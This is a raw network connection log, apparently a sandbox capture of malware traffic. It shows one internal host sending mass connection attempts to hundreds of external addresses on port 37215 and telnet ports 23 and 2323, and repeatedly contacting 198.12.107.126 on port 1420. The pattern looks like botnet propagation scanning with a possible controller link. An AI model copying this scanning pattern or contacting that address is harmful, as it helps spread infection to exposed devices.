Nov 3, 2024 15:37:13.535408974 CET	35945	37215	192.168.2.14	197.54.201.70
Nov 3, 2024 15:37:13.535408974 CET	35945	37215	192.168.2.14	41.182.156.236
Nov 3, 2024 15:37:13.535408974 CET	35945	37215	192.168.2.14	156.230.24.193
Nov 3, 2024 15:37:13.535408974 CET	35945	37215	192.168.2.14	197.187.3.147
Nov 3, 2024 15:37:13.535414934 CET	35945	37215	192.168.2.14	197.191.113.60
Nov 3, 2024 15:37:13.535415888 CET	35945	37215	192.168.2.14	41.114.117.133
Nov 3, 2024 15:37:13.535419941 CET	35945	37215	192.168.2.14	41.77.19.208
Nov 3, 2024 15:37:13.535430908 CET	35945	37215	192.168.2.14	197.54.150.181
Nov 3, 2024 15:37:13.535433054 CET	35945	37215	192.168.2.14	41.3.10.241
Nov 3, 2024 15:37:13.535438061 CET	35945	37215	192.168.2.14	197.108.227.92
Nov 3, 2024 15:37:13.535439014 CET	35945	37215	192.168.2.14	41.205.156.187
Nov 3, 2024 15:37:13.535445929 CET	35945	37215	192.168.2.14	41.76.187.74
Nov 3, 2024 15:37:13.535459995 CET	35945	37215	192.168.2.14	156.213.112.106
Nov 3, 2024 15:37:13.535459995 CET	35945	37215	192.168.2.14	41.50.226.196
Nov 3, 2024 15:37:13.535460949 CET	35945	37215	192.168.2.14	41.197.212.77
Nov 3, 2024 15:37:13.535463095 CET	35945	37215	192.168.2.14	156.64.196.163
Nov 3, 2024 15:37:13.535465956 CET	35945	37215	192.168.2.14	41.112.222.108
Nov 3, 2024 15:37:13.535469055 CET	35945	37215	192.168.2.14	197.24.32.175
Nov 3, 2024 15:37:13.535470963 CET	35945	37215	192.168.2.14	156.129.7.22
Nov 3, 2024 15:37:13.535473108 CET	35945	37215	192.168.2.14	41.92.186.226
Nov 3, 2024 15:37:13.535480976 CET	35945	37215	192.168.2.14	156.200.160.92
Nov 3, 2024 15:37:13.535480976 CET	35945	37215	192.168.2.14	197.136.77.217
Nov 3, 2024 15:37:13.535492897 CET	35945	37215	192.168.2.14	197.205.11.241
Nov 3, 2024 15:37:13.535494089 CET	35945	37215	192.168.2.14	197.10.33.40
Nov 3, 2024 15:37:13.535494089 CET	35945	37215	192.168.2.14	41.85.208.147
Nov 3, 2024 15:37:13.535499096 CET	35945	37215	192.168.2.14	156.155.184.250
Nov 3, 2024 15:37:13.535499096 CET	35945	37215	192.168.2.14	41.168.138.125
Nov 3, 2024 15:37:13.535514116 CET	35945	37215	192.168.2.14	197.186.177.51
Nov 3, 2024 15:37:13.535514116 CET	35945	37215	192.168.2.14	197.176.249.214
Nov 3, 2024 15:37:13.535516024 CET	35945	37215	192.168.2.14	41.58.167.0
Nov 3, 2024 15:37:13.535517931 CET	35945	37215	192.168.2.14	156.209.233.108
Nov 3, 2024 15:37:13.535517931 CET	35945	37215	192.168.2.14	156.113.144.121
Nov 3, 2024 15:37:13.535533905 CET	35945	37215	192.168.2.14	41.97.241.231
Nov 3, 2024 15:37:13.535533905 CET	35945	37215	192.168.2.14	41.85.1.37
Nov 3, 2024 15:37:13.535537958 CET	35945	37215	192.168.2.14	41.168.31.38
Nov 3, 2024 15:37:13.535537958 CET	35945	37215	192.168.2.14	41.69.225.84
Nov 3, 2024 15:37:13.535547972 CET	35945	37215	192.168.2.14	156.209.221.25
Nov 3, 2024 15:37:13.535552025 CET	35945	37215	192.168.2.14	197.221.21.14
Nov 3, 2024 15:37:13.535552025 CET	35945	37215	192.168.2.14	156.144.6.219
Nov 3, 2024 15:37:13.535552979 CET	35945	37215	192.168.2.14	156.210.137.207
Nov 3, 2024 15:37:13.535557032 CET	35945	37215	192.168.2.14	197.37.151.13
Nov 3, 2024 15:37:13.535559893 CET	35945	37215	192.168.2.14	41.2.206.57
Nov 3, 2024 15:37:13.535561085 CET	35945	37215	192.168.2.14	156.192.249.107
Nov 3, 2024 15:37:13.535564899 CET	35945	37215	192.168.2.14	156.76.254.8
Nov 3, 2024 15:37:13.535561085 CET	35945	37215	192.168.2.14	156.224.182.106
Nov 3, 2024 15:37:13.535576105 CET	35945	37215	192.168.2.14	197.87.38.189
Nov 3, 2024 15:37:13.535576105 CET	35945	37215	192.168.2.14	156.196.221.206
Nov 3, 2024 15:37:13.535579920 CET	35945	37215	192.168.2.14	41.72.46.26
Nov 3, 2024 15:37:13.535588026 CET	35945	37215	192.168.2.14	156.61.131.242
Nov 3, 2024 15:37:13.535604000 CET	35945	37215	192.168.2.14	41.98.135.86
Nov 3, 2024 15:37:13.535604000 CET	35945	37215	192.168.2.14	41.201.35.207
Nov 3, 2024 15:37:13.535604954 CET	35945	37215	192.168.2.14	197.29.186.155
Nov 3, 2024 15:37:13.535604954 CET	35945	37215	192.168.2.14	156.255.99.42
Nov 3, 2024 15:37:13.535614014 CET	35945	37215	192.168.2.14	41.137.99.13
Nov 3, 2024 15:37:13.535629034 CET	35945	37215	192.168.2.14	156.122.18.174
Nov 3, 2024 15:37:13.535630941 CET	35945	37215	192.168.2.14	156.177.244.6
Nov 3, 2024 15:37:13.535633087 CET	35945	37215	192.168.2.14	156.167.45.160
Nov 3, 2024 15:37:13.535644054 CET	35945	37215	192.168.2.14	197.195.20.16
Nov 3, 2024 15:37:13.535657883 CET	35945	37215	192.168.2.14	197.157.82.231
Nov 3, 2024 15:37:13.535657883 CET	35945	37215	192.168.2.14	156.117.10.217
Nov 3, 2024 15:37:13.535657883 CET	35945	37215	192.168.2.14	197.17.21.49
Nov 3, 2024 15:37:13.535660982 CET	35945	37215	192.168.2.14	156.207.222.83
Nov 3, 2024 15:37:13.535665989 CET	35945	37215	192.168.2.14	156.7.250.0
Nov 3, 2024 15:37:13.535679102 CET	35945	37215	192.168.2.14	156.89.158.224
Nov 3, 2024 15:37:13.535679102 CET	35945	37215	192.168.2.14	41.167.234.243
Nov 3, 2024 15:37:13.535679102 CET	35945	37215	192.168.2.14	41.180.124.166
Nov 3, 2024 15:37:13.535684109 CET	35945	37215	192.168.2.14	156.105.195.167
Nov 3, 2024 15:37:13.535685062 CET	35945	37215	192.168.2.14	41.92.104.150
Nov 3, 2024 15:37:13.535701990 CET	35945	37215	192.168.2.14	156.84.198.11
Nov 3, 2024 15:37:13.535705090 CET	35945	37215	192.168.2.14	156.7.105.154
Nov 3, 2024 15:37:13.535707951 CET	35945	37215	192.168.2.14	197.57.147.87
Nov 3, 2024 15:37:13.535707951 CET	35945	37215	192.168.2.14	197.209.123.109
Nov 3, 2024 15:37:13.535718918 CET	35945	37215	192.168.2.14	197.87.206.16
Nov 3, 2024 15:37:13.535731077 CET	35945	37215	192.168.2.14	197.238.197.228
Nov 3, 2024 15:37:13.535733938 CET	35945	37215	192.168.2.14	197.185.117.83
Nov 3, 2024 15:37:13.535737038 CET	35945	37215	192.168.2.14	41.14.221.142
Nov 3, 2024 15:37:13.535739899 CET	35945	37215	192.168.2.14	41.129.212.183
Nov 3, 2024 15:37:13.535753965 CET	35945	37215	192.168.2.14	41.225.19.205
Nov 3, 2024 15:37:13.535756111 CET	35945	37215	192.168.2.14	197.34.44.96
Nov 3, 2024 15:37:13.535753965 CET	35945	37215	192.168.2.14	41.184.44.128
Nov 3, 2024 15:37:13.535774946 CET	35945	37215	192.168.2.14	197.178.76.149
Nov 3, 2024 15:37:13.535777092 CET	35945	37215	192.168.2.14	156.118.93.151
Nov 3, 2024 15:37:13.535778046 CET	35945	37215	192.168.2.14	197.140.63.118
Nov 3, 2024 15:37:13.535778046 CET	35945	37215	192.168.2.14	156.157.76.197
Nov 3, 2024 15:37:13.535780907 CET	35945	37215	192.168.2.14	156.72.252.45
Nov 3, 2024 15:37:13.535785913 CET	35945	37215	192.168.2.14	41.166.3.162
Nov 3, 2024 15:37:13.535797119 CET	35945	37215	192.168.2.14	197.241.201.173
Nov 3, 2024 15:37:13.535797119 CET	35945	37215	192.168.2.14	41.251.11.50
Nov 3, 2024 15:37:13.535799980 CET	35945	37215	192.168.2.14	156.106.232.86
Nov 3, 2024 15:37:13.535803080 CET	35945	37215	192.168.2.14	41.250.31.147
Nov 3, 2024 15:37:13.535813093 CET	35945	37215	192.168.2.14	156.1.240.124
Nov 3, 2024 15:37:13.535819054 CET	35945	37215	192.168.2.14	41.69.171.242
Nov 3, 2024 15:37:13.535821915 CET	35945	37215	192.168.2.14	156.8.221.151
Nov 3, 2024 15:37:13.535823107 CET	35945	37215	192.168.2.14	41.231.7.187
Nov 3, 2024 15:37:13.535825014 CET	35945	37215	192.168.2.14	41.128.139.234
Nov 3, 2024 15:37:13.535825014 CET	35945	37215	192.168.2.14	156.108.29.63
Nov 3, 2024 15:37:13.535830021 CET	35945	37215	192.168.2.14	41.200.48.52
Nov 3, 2024 15:37:13.535830021 CET	35945	37215	192.168.2.14	156.162.224.252
Nov 3, 2024 15:37:13.535830021 CET	35945	37215	192.168.2.14	197.76.161.47
Nov 3, 2024 15:37:13.535831928 CET	35945	37215	192.168.2.14	197.147.39.137
Nov 3, 2024 15:37:13.535830021 CET	35945	37215	192.168.2.14	156.85.155.83
Nov 3, 2024 15:37:13.535831928 CET	35945	37215	192.168.2.14	41.7.36.118
Nov 3, 2024 15:37:13.535835028 CET	35945	37215	192.168.2.14	41.163.55.78
Nov 3, 2024 15:37:13.535841942 CET	35945	37215	192.168.2.14	41.220.74.139
Nov 3, 2024 15:37:13.535849094 CET	35945	37215	192.168.2.14	156.67.145.83
Nov 3, 2024 15:37:13.535855055 CET	35945	37215	192.168.2.14	197.155.53.73
Nov 3, 2024 15:37:13.535855055 CET	35945	37215	192.168.2.14	156.178.7.102
Nov 3, 2024 15:37:13.535923958 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:13.535923958 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:13.535959005 CET	38486	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:13.539422035 CET	37215	35945	156.23.22.42	192.168.2.14
Nov 3, 2024 15:37:13.539442062 CET	37215	35945	156.12.15.170	192.168.2.14
Nov 3, 2024 15:37:13.539467096 CET	35945	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:13.539470911 CET	35945	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:13.540746927 CET	37215	38276	156.245.81.105	192.168.2.14
Nov 3, 2024 15:37:13.561463118 CET	34264	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.566426039 CET	37215	34264	197.163.58.45	192.168.2.14
Nov 3, 2024 15:37:13.566483974 CET	34264	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.566591978 CET	34264	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.566591978 CET	34264	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.566618919 CET	34268	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.571706057 CET	37215	34264	197.163.58.45	192.168.2.14
Nov 3, 2024 15:37:13.571715117 CET	37215	34268	197.163.58.45	192.168.2.14
Nov 3, 2024 15:37:13.571754932 CET	34268	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.571774006 CET	34268	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.571801901 CET	43074	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.576818943 CET	37215	43074	41.155.208.66	192.168.2.14
Nov 3, 2024 15:37:13.576828003 CET	37215	34268	197.163.58.45	192.168.2.14
Nov 3, 2024 15:37:13.576868057 CET	43074	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.576869965 CET	34268	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:13.576915979 CET	43074	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.576915979 CET	43074	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.576936007 CET	43076	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.581888914 CET	37215	43074	41.155.208.66	192.168.2.14
Nov 3, 2024 15:37:13.581898928 CET	37215	43076	41.155.208.66	192.168.2.14
Nov 3, 2024 15:37:13.581942081 CET	43076	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.581954956 CET	43076	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.581969976 CET	59694	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:13.585967064 CET	37215	38276	156.245.81.105	192.168.2.14
Nov 3, 2024 15:37:13.586875916 CET	37215	59694	41.89.33.112	192.168.2.14
Nov 3, 2024 15:37:13.586910009 CET	59694	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:13.586961031 CET	59694	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:13.586961031 CET	59694	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:13.586972952 CET	59696	37215	192.168.2.14	41.89.33.112
Nov 3, 2024 15:37:13.587193966 CET	37215	43076	41.155.208.66	192.168.2.14
Nov 3, 2024 15:37:13.587234974 CET	43076	37215	192.168.2.14	41.155.208.66
Nov 3, 2024 15:37:13.591886044 CET	37215	59694	41.89.33.112	192.168.2.14
Nov 3, 2024 15:37:13.617988110 CET	37215	34264	197.163.58.45	192.168.2.14
Nov 3, 2024 15:37:13.621947050 CET	37215	43074	41.155.208.66	192.168.2.14
Nov 3, 2024 15:37:13.638009071 CET	37215	59694	41.89.33.112	192.168.2.14
Nov 3, 2024 15:37:13.684034109 CET	1420	34376	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:13.684192896 CET	34376	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:13.684216976 CET	34376	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:13.691673994 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:13.696481943 CET	1420	34396	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:13.696613073 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:13.696613073 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:13.701472998 CET	1420	34396	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:13.701571941 CET	34396	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:13.706434011 CET	1420	34396	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:14.505023003 CET	36201	2323	192.168.2.14	176.74.29.66
Nov 3, 2024 15:37:14.505023003 CET	36201	23	192.168.2.14	190.47.162.52
Nov 3, 2024 15:37:14.505023003 CET	36201	23	192.168.2.14	125.194.22.234
Nov 3, 2024 15:37:14.505032063 CET	36201	23	192.168.2.14	34.63.133.186
Nov 3, 2024 15:37:14.505032063 CET	36201	23	192.168.2.14	197.103.21.152
Nov 3, 2024 15:37:14.505037069 CET	36201	23	192.168.2.14	145.205.241.64
Nov 3, 2024 15:37:14.505037069 CET	36201	23	192.168.2.14	135.190.130.6
Nov 3, 2024 15:37:14.505038977 CET	36201	23	192.168.2.14	95.203.133.31
Nov 3, 2024 15:37:14.505038977 CET	36201	23	192.168.2.14	90.28.144.239
Nov 3, 2024 15:37:14.505053043 CET	36201	23	192.168.2.14	163.120.135.147
Nov 3, 2024 15:37:14.505053043 CET	36201	23	192.168.2.14	67.25.195.74
Nov 3, 2024 15:37:14.505054951 CET	36201	2323	192.168.2.14	115.42.123.213
Nov 3, 2024 15:37:14.505059004 CET	36201	23	192.168.2.14	176.179.236.87
Nov 3, 2024 15:37:14.505059004 CET	36201	23	192.168.2.14	141.110.243.107
Nov 3, 2024 15:37:14.505069971 CET	36201	23	192.168.2.14	12.126.107.146
Nov 3, 2024 15:37:14.505084991 CET	36201	23	192.168.2.14	126.243.194.180
Nov 3, 2024 15:37:14.505084991 CET	36201	23	192.168.2.14	57.3.195.62
Nov 3, 2024 15:37:14.505094051 CET	36201	23	192.168.2.14	208.184.13.133
Nov 3, 2024 15:37:14.505098104 CET	36201	23	192.168.2.14	87.32.202.95
Nov 3, 2024 15:37:14.505108118 CET	36201	23	192.168.2.14	170.51.185.8
Nov 3, 2024 15:37:14.505109072 CET	36201	2323	192.168.2.14	196.133.129.159
Nov 3, 2024 15:37:14.505112886 CET	36201	23	192.168.2.14	193.232.42.104
Nov 3, 2024 15:37:14.505124092 CET	36201	23	192.168.2.14	74.165.153.162
Nov 3, 2024 15:37:14.505125999 CET	36201	23	192.168.2.14	166.86.199.84
Nov 3, 2024 15:37:14.505131006 CET	36201	23	192.168.2.14	9.150.148.111
Nov 3, 2024 15:37:14.505141973 CET	36201	23	192.168.2.14	88.138.122.24
Nov 3, 2024 15:37:14.505147934 CET	36201	23	192.168.2.14	23.211.178.175
Nov 3, 2024 15:37:14.505158901 CET	36201	23	192.168.2.14	109.254.236.27
Nov 3, 2024 15:37:14.505163908 CET	36201	23	192.168.2.14	73.37.126.138
Nov 3, 2024 15:37:14.505177021 CET	36201	23	192.168.2.14	115.57.193.182
Nov 3, 2024 15:37:14.505177975 CET	36201	2323	192.168.2.14	210.171.14.84
Nov 3, 2024 15:37:14.505177975 CET	36201	23	192.168.2.14	47.244.178.101
Nov 3, 2024 15:37:14.505179882 CET	36201	23	192.168.2.14	116.48.0.90
Nov 3, 2024 15:37:14.505192041 CET	36201	23	192.168.2.14	188.228.223.246
Nov 3, 2024 15:37:14.505197048 CET	36201	23	192.168.2.14	101.133.77.20
Nov 3, 2024 15:37:14.505208969 CET	36201	23	192.168.2.14	180.224.197.84
Nov 3, 2024 15:37:14.505213022 CET	36201	23	192.168.2.14	121.94.86.207
Nov 3, 2024 15:37:14.505239010 CET	36201	23	192.168.2.14	160.59.138.204
Nov 3, 2024 15:37:14.505239010 CET	36201	23	192.168.2.14	95.175.47.139
Nov 3, 2024 15:37:14.505242109 CET	36201	23	192.168.2.14	206.223.62.60
Nov 3, 2024 15:37:14.505242109 CET	36201	23	192.168.2.14	76.33.226.215
Nov 3, 2024 15:37:14.505242109 CET	36201	2323	192.168.2.14	31.220.235.237
Nov 3, 2024 15:37:14.505244970 CET	36201	23	192.168.2.14	208.132.233.191
Nov 3, 2024 15:37:14.505248070 CET	36201	23	192.168.2.14	204.29.155.89
Nov 3, 2024 15:37:14.505249023 CET	36201	23	192.168.2.14	59.246.64.38
Nov 3, 2024 15:37:14.505249023 CET	36201	23	192.168.2.14	193.38.147.177
Nov 3, 2024 15:37:14.505259991 CET	36201	23	192.168.2.14	98.150.43.172
Nov 3, 2024 15:37:14.505260944 CET	36201	23	192.168.2.14	192.143.166.98
Nov 3, 2024 15:37:14.505268097 CET	36201	23	192.168.2.14	31.165.84.187
Nov 3, 2024 15:37:14.505269051 CET	36201	2323	192.168.2.14	219.37.31.161
Nov 3, 2024 15:37:14.505270004 CET	36201	23	192.168.2.14	47.162.214.136
Nov 3, 2024 15:37:14.505280018 CET	36201	23	192.168.2.14	157.78.238.174
Nov 3, 2024 15:37:14.505295992 CET	36201	23	192.168.2.14	20.238.251.243
Nov 3, 2024 15:37:14.505296946 CET	36201	23	192.168.2.14	17.217.144.30
Nov 3, 2024 15:37:14.505296946 CET	36201	23	192.168.2.14	18.131.27.104
Nov 3, 2024 15:37:14.505300999 CET	36201	23	192.168.2.14	73.181.97.36
Nov 3, 2024 15:37:14.505311012 CET	36201	23	192.168.2.14	175.205.75.185
Nov 3, 2024 15:37:14.505315065 CET	36201	23	192.168.2.14	149.74.155.233
Nov 3, 2024 15:37:14.505321026 CET	36201	23	192.168.2.14	126.239.255.29
Nov 3, 2024 15:37:14.505331993 CET	36201	23	192.168.2.14	184.70.31.49
Nov 3, 2024 15:37:14.505331993 CET	36201	2323	192.168.2.14	85.157.222.11
Nov 3, 2024 15:37:14.505332947 CET	36201	23	192.168.2.14	63.126.153.217
Nov 3, 2024 15:37:14.505351067 CET	36201	23	192.168.2.14	118.25.27.15
Nov 3, 2024 15:37:14.505352974 CET	36201	23	192.168.2.14	164.183.79.201
Nov 3, 2024 15:37:14.505363941 CET	36201	23	192.168.2.14	117.12.17.235
Nov 3, 2024 15:37:14.505366087 CET	36201	23	192.168.2.14	57.247.143.31
Nov 3, 2024 15:37:14.505367994 CET	36201	23	192.168.2.14	166.166.3.39
Nov 3, 2024 15:37:14.505373955 CET	36201	23	192.168.2.14	114.136.34.166
Nov 3, 2024 15:37:14.505389929 CET	36201	23	192.168.2.14	181.159.171.193
Nov 3, 2024 15:37:14.505393028 CET	36201	23	192.168.2.14	84.22.59.107
Nov 3, 2024 15:37:14.505402088 CET	36201	2323	192.168.2.14	90.248.105.171
Nov 3, 2024 15:37:14.505412102 CET	36201	23	192.168.2.14	123.240.104.172
Nov 3, 2024 15:37:14.505414963 CET	36201	23	192.168.2.14	181.210.95.106
Nov 3, 2024 15:37:14.505420923 CET	36201	23	192.168.2.14	135.28.251.4
Nov 3, 2024 15:37:14.505424976 CET	36201	23	192.168.2.14	104.253.74.78
Nov 3, 2024 15:37:14.505434990 CET	36201	23	192.168.2.14	46.1.180.5
Nov 3, 2024 15:37:14.505435944 CET	36201	23	192.168.2.14	151.221.114.161
Nov 3, 2024 15:37:14.505441904 CET	36201	23	192.168.2.14	80.201.145.188
Nov 3, 2024 15:37:14.505441904 CET	36201	23	192.168.2.14	82.152.50.54
Nov 3, 2024 15:37:14.505441904 CET	36201	23	192.168.2.14	149.197.153.83
Nov 3, 2024 15:37:14.505445957 CET	36201	2323	192.168.2.14	120.34.201.67
Nov 3, 2024 15:37:14.505455017 CET	36201	23	192.168.2.14	101.248.49.48
Nov 3, 2024 15:37:14.505455971 CET	36201	23	192.168.2.14	102.141.70.235
Nov 3, 2024 15:37:14.505460978 CET	36201	23	192.168.2.14	180.26.115.64
Nov 3, 2024 15:37:14.505487919 CET	36201	23	192.168.2.14	13.232.184.171
Nov 3, 2024 15:37:14.505491018 CET	36201	23	192.168.2.14	65.69.12.30
Nov 3, 2024 15:37:14.505495071 CET	36201	23	192.168.2.14	91.154.22.90
Nov 3, 2024 15:37:14.505500078 CET	36201	23	192.168.2.14	34.182.191.100
Nov 3, 2024 15:37:14.505501032 CET	36201	23	192.168.2.14	220.148.195.201
Nov 3, 2024 15:37:14.505501986 CET	36201	23	192.168.2.14	116.251.140.88
Nov 3, 2024 15:37:14.505503893 CET	36201	23	192.168.2.14	133.200.132.251
Nov 3, 2024 15:37:14.505505085 CET	36201	23	192.168.2.14	36.103.54.46
Nov 3, 2024 15:37:14.505506039 CET	36201	23	192.168.2.14	105.139.113.161
Nov 3, 2024 15:37:14.505505085 CET	36201	2323	192.168.2.14	84.15.75.176
Nov 3, 2024 15:37:14.505505085 CET	36201	23	192.168.2.14	126.133.164.57
Nov 3, 2024 15:37:14.505506039 CET	36201	23	192.168.2.14	42.85.86.14
Nov 3, 2024 15:37:14.505513906 CET	36201	23	192.168.2.14	18.170.164.43
Nov 3, 2024 15:37:14.505520105 CET	36201	23	192.168.2.14	183.156.99.98
Nov 3, 2024 15:37:14.505521059 CET	36201	23	192.168.2.14	82.189.105.214
Nov 3, 2024 15:37:14.505521059 CET	36201	23	192.168.2.14	146.138.178.92
Nov 3, 2024 15:37:14.505521059 CET	36201	2323	192.168.2.14	176.117.77.231
Nov 3, 2024 15:37:14.505523920 CET	36201	23	192.168.2.14	186.103.185.150
Nov 3, 2024 15:37:14.505539894 CET	36201	23	192.168.2.14	5.100.51.2
Nov 3, 2024 15:37:14.505541086 CET	36201	23	192.168.2.14	159.31.245.248
Nov 3, 2024 15:37:14.505541086 CET	36201	23	192.168.2.14	146.151.152.143
Nov 3, 2024 15:37:14.505542040 CET	36201	23	192.168.2.14	70.213.51.20
Nov 3, 2024 15:37:14.505547047 CET	36201	23	192.168.2.14	92.218.6.14
Nov 3, 2024 15:37:14.505558968 CET	36201	23	192.168.2.14	73.152.252.190
Nov 3, 2024 15:37:14.505564928 CET	36201	23	192.168.2.14	99.199.194.21
Nov 3, 2024 15:37:14.505575895 CET	36201	23	192.168.2.14	77.84.132.69
Nov 3, 2024 15:37:14.505579948 CET	36201	2323	192.168.2.14	165.42.125.19
Nov 3, 2024 15:37:14.505594015 CET	36201	23	192.168.2.14	125.248.190.10
Nov 3, 2024 15:37:14.505599022 CET	36201	23	192.168.2.14	142.102.179.216
Nov 3, 2024 15:37:14.505609035 CET	36201	23	192.168.2.14	80.168.90.138
Nov 3, 2024 15:37:14.505611897 CET	36201	23	192.168.2.14	45.19.169.169
Nov 3, 2024 15:37:14.505613089 CET	36201	23	192.168.2.14	101.236.35.183
Nov 3, 2024 15:37:14.505629063 CET	36201	23	192.168.2.14	27.130.208.197
Nov 3, 2024 15:37:14.505630016 CET	36201	23	192.168.2.14	197.18.239.180
Nov 3, 2024 15:37:14.505634069 CET	36201	23	192.168.2.14	195.129.101.174
Nov 3, 2024 15:37:14.505640984 CET	36201	23	192.168.2.14	195.13.234.207
Nov 3, 2024 15:37:14.505656958 CET	36201	23	192.168.2.14	43.69.73.41
Nov 3, 2024 15:37:14.505661011 CET	36201	2323	192.168.2.14	191.146.212.228
Nov 3, 2024 15:37:14.505664110 CET	36201	23	192.168.2.14	23.77.228.106
Nov 3, 2024 15:37:14.505671978 CET	36201	23	192.168.2.14	164.60.32.4
Nov 3, 2024 15:37:14.505678892 CET	36201	23	192.168.2.14	116.47.28.77
Nov 3, 2024 15:37:14.505686045 CET	36201	23	192.168.2.14	79.29.71.242
Nov 3, 2024 15:37:14.505695105 CET	36201	23	192.168.2.14	2.32.67.34
Nov 3, 2024 15:37:14.505702972 CET	36201	23	192.168.2.14	115.45.213.151
Nov 3, 2024 15:37:14.505702972 CET	36201	23	192.168.2.14	90.192.72.95
Nov 3, 2024 15:37:14.505713940 CET	36201	23	192.168.2.14	37.223.157.48
Nov 3, 2024 15:37:14.505717039 CET	36201	2323	192.168.2.14	1.2.44.128
Nov 3, 2024 15:37:14.505729914 CET	36201	23	192.168.2.14	19.118.61.26
Nov 3, 2024 15:37:14.505734921 CET	36201	23	192.168.2.14	99.109.11.88
Nov 3, 2024 15:37:14.505734921 CET	36201	23	192.168.2.14	73.206.28.232
Nov 3, 2024 15:37:14.505740881 CET	36201	23	192.168.2.14	201.62.31.241
Nov 3, 2024 15:37:14.505740881 CET	36201	23	192.168.2.14	192.45.61.96
Nov 3, 2024 15:37:14.505740881 CET	36201	23	192.168.2.14	183.167.187.66
Nov 3, 2024 15:37:14.505740881 CET	36201	23	192.168.2.14	176.83.197.100
Nov 3, 2024 15:37:14.505744934 CET	36201	23	192.168.2.14	160.31.65.51
Nov 3, 2024 15:37:14.505752087 CET	36201	23	192.168.2.14	114.130.0.58
Nov 3, 2024 15:37:14.505753994 CET	36201	2323	192.168.2.14	94.102.202.192
Nov 3, 2024 15:37:14.505759954 CET	36201	23	192.168.2.14	141.44.14.154
Nov 3, 2024 15:37:14.505769014 CET	36201	23	192.168.2.14	99.217.60.33
Nov 3, 2024 15:37:14.505774975 CET	36201	23	192.168.2.14	200.194.71.212
Nov 3, 2024 15:37:14.505779028 CET	36201	23	192.168.2.14	187.251.87.197
Nov 3, 2024 15:37:14.505794048 CET	36201	23	192.168.2.14	71.150.232.10
Nov 3, 2024 15:37:14.505794048 CET	36201	23	192.168.2.14	105.80.41.76
Nov 3, 2024 15:37:14.505800962 CET	36201	23	192.168.2.14	186.81.220.120
Nov 3, 2024 15:37:14.505808115 CET	36201	23	192.168.2.14	117.115.169.135
Nov 3, 2024 15:37:14.505815029 CET	36201	2323	192.168.2.14	220.11.24.13
Nov 3, 2024 15:37:14.505815983 CET	36201	23	192.168.2.14	67.138.197.110
Nov 3, 2024 15:37:14.505830050 CET	36201	23	192.168.2.14	210.236.177.24
Nov 3, 2024 15:37:14.505834103 CET	36201	23	192.168.2.14	173.187.98.201
Nov 3, 2024 15:37:14.505851984 CET	36201	23	192.168.2.14	58.27.231.69
Nov 3, 2024 15:37:14.505851984 CET	36201	23	192.168.2.14	76.132.252.136
Nov 3, 2024 15:37:14.505855083 CET	36201	23	192.168.2.14	143.39.189.12
Nov 3, 2024 15:37:14.505853891 CET	36201	23	192.168.2.14	148.229.141.114
Nov 3, 2024 15:37:14.505853891 CET	36201	23	192.168.2.14	87.101.60.23
Nov 3, 2024 15:37:14.505860090 CET	36201	23	192.168.2.14	37.235.130.244
Nov 3, 2024 15:37:14.505861998 CET	36201	23	192.168.2.14	183.62.19.206
Nov 3, 2024 15:37:14.521434069 CET	45764	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:14.521437883 CET	49032	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:14.521437883 CET	47640	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:14.521441936 CET	57630	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:14.521441936 CET	41070	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:14.521442890 CET	38892	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:14.521445036 CET	41316	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:14.521456003 CET	36872	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:14.521457911 CET	56766	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:14.521457911 CET	37626	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:14.521464109 CET	40642	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:14.521466970 CET	34030	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:14.521466970 CET	37848	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:14.521466970 CET	54478	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:14.521471024 CET	35196	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:14.521475077 CET	38720	37215	192.168.2.14	41.204.27.199
